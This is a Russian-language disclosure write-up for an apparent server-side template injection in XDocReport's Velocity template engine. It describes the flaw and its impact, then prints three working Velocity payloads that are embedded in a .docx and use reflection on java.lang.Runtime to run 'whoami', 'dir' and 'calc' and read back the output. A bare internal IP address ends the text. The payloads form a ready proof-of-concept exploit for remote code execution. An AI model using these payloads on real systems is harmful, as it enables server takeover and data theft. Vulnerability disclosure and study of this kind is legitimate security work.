
CVE-2026-38165 (SSTI)
Обзор уязвимости
Серверная инъекция шаблонов (SSTI) — это уязвимость веб-безопасности, позволяющая злоумышленнику внедрить вредоносный код в шаблоны (templates), используемые системами управления контентом (CMS) и веб-фреймворками, с целью удалённых атак, получения конфиденциальной информации или выполнения несанкционированных действий в системе.
SSTI — разновидность уязвимости внедрения (как SQL-инъекция, XSS и т.д.), при которой злоумышленник использует системы шаблонов для удалённого выполнения кода. При успешной атаке SSTI злоумышленник может выполнить свой код на сервере, что позволяет ему проводить удалённые атаки, такие как сбор конфиденциальной информации, выполнение несанкционированных действий в системе и доступ к неавторизованным ресурсам.
Уязвимость SSTI обычно возникает из-за использования небезопасных систем шаблонов или отсутствия проверки и обработки входных параметров перед их вставкой в шаблоны. Если атака SSTI оказывается успешной, последствия могут быть серьёзными и причинить значительный ущерб атакованной организации.
Влияние на бизнес
Уязвимость SSTI может привести к множеству серьёзных последствий, включая:
Выполнение вредоносного кода: Злоумышленник может использовать эту уязвимость для выполнения вредоносного кода на сервере, что позволяет ему украсть данные, выполнить незаконные действия в системе или даже полностью захватить сервер.
Раскрытие конфиденциальной информации: SSTI может позволить злоумышленнику читать, изменять или удалять файлы на сервере. Если эти файлы содержат конфиденциальную информацию, такую как учётные записи и пароли, злоумышленник может легко её раскрыть.
Угрозы или обман пользователей: Злоумышленник может использовать SSTI для проведения угрожающих или обманных атак, изменяя содержимое веб-страницы или добавляя поддельные настраиваемые кнопки. Если пользователь нажмёт на такие кнопки, злоумышленник может украсть его данные или установить вредоносное ПО на его компьютер.

fr.opensagres.xdocreport.template.velocity
Уязвимость серверной инъекции шаблонов (SSTI) была обнаружена в OpenSAGRES XDocReport при обработке шаблонов DOCX с помощью движка Velocity. При определённых настройках специально созданные шаблоны могут привести к удалённому выполнению кода (RCE).
Веб-приложение для управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует движок шаблонов Velocity (в файле) для рендеринга содержимого без механизма контроля или фильтрации входного содержимого.
Эта уязвимость позволяет злоумышленнику внедрять вредоносные выражения в файл .docx (шаблон), что приводит к удалённому выполнению кода (RCE) на сервере и может быть использовано для кражи информации или захвата системы.
fr.opensagres.xdocreport.template.velocity — XDocReport (версии =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) — это стандартный/«по умолчанию» метод Apache Velocity для оценки (evaluate) шаблона из Reader (или из String) с использованием Context и записи в Writer. Он выполняет синтаксис VTL (Velocity Template Language) так же, как Template.merge(...)
evaluate: разбирает из Reader/String → удобен, когда шаблон является динамическим/недоверенным.
getTemplate(...).merge(...): загружает шаблон, обработанный загрузчиком ресурсов (кэширование, кодировка и т.д.), а затем выполняет слияние. Что касается возможности выполнения VTL, оба метода выполняют одни и те же выражения; разница в основном заключается в месте/режиме загрузки шаблона.
.docx, содержащий следующий payload:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130